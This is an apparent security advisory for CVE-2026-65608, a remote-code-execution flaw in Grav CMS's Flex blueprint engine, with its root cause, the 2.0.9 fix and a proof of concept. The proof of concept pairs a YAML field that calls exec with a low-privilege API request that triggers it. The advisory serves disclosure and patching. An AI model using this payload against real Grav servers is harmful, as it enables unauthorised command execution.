CVE-2026-65608: Grav FlexDirectory Unsafe Reflection RCE
A missing safety check in Grav's Flex blueprint engine lets any authenticated user with only a single directory's create or update permission run arbitrary shell commands on the server.
The problem
Grav's blueprint engine supports data-*@: YAML directives that tell the framework to call a PHP function when initialising a field. FlexDirectory::dynamicDataField() handles this for every Flex directory (Flex Users, Flex Pages, Flex Objects, custom types) by calling call_user_func_array() on attacker-influenced input.
The only guard is is_callable(), which passes exec, system, passthru, and shell_exec without complaint. A prior fix (GHSA-fj2p-qj2f-74v5, Grav 2.0.7) added a denylist to Blueprint::dynamicData(), but FlexDirectory registers its own handler that routes around that method entirely, so the denylist is never reached.
Proof of concept
A working proof-of-concept for CVE-2026-65608 in getgrav/grav, with the exact payload below.
# Step 1: add this field to any active Flex directory blueprint YAML
# (e.g. user/blueprints/flex-objects/contacts.yaml -> form.fields)
pocfield:
type: text
label: PoC
data-test@:
- exec
- "id > /tmp/grav_rce_proof.txt 2>&1"
# Step 2: authenticate as any account with create permission on that directory
# and POST a new object through the API
POST /api/v1/flex-objects/contacts HTTP/1.1
Host: target.example.com
Authorization: Bearer <low-priv-jwt>
Content-Type: application/json
{"first_name":"poc","last_name":"poc","email":"poc@poc.local"}
# Response: HTTP 201 Created
# /tmp/grav_rce_proof.txt now contains the output of `id`The root cause is CWE-470 (Unsafe Reflection): dynamicDataField() extracts the callable name from blueprint data under attacker influence and passes it directly to call_user_func_array(). is_callable('exec') returns true, so the function is invoked with attacker-supplied arguments.
The patched Blueprint::dynamicData() method calls isSafeDynamicCall(), which denies a hardcoded list of dangerous PHP functions (exec, system, passthru, shell_exec, popen, proc_open, pcntl_exec, assert, create_function, etc.) and recursively checks argument lists for smuggled callables. dynamicDataField() never called that helper, so the entire denylist was silently skipped for every Flex directory.
The fix in 2.0.9 routes dynamicDataField() through the same safe-call validation already used by the patched method.
The fix
Upgrade to getgrav/grav 2.0.9. The patch makes FlexDirectory::dynamicDataField() delegate through isSafeDynamicCall() (the same guard Blueprint::dynamicData() uses) before invoking any callable. If immediate upgrade is not possible, remove or audit any data-*@: fields from active Flex directory blueprints and restrict Flex directory create/update permissions to fully trusted accounts only.
Reported by haftoe.
Related research
- highCVE-2026-69089CVE-2026-69089: Grav CMS Path Traversal via ImageMedium::watermark()
- high · 7.4CVE-2026-62669CVE-2026-62669: Grav CMS 2FA Bypass via Unauthenticated Secret Rotation
- highCVE-2026-64850CVE-2026-64850: Grav CMS Remote Code Execution via Unrestricted Callable in Blueprint::dynamicData()
- highCVE-2026-62673CVE-2026-62673: Grav .htaccess File Extension Filter Case-Sensitivity Bypass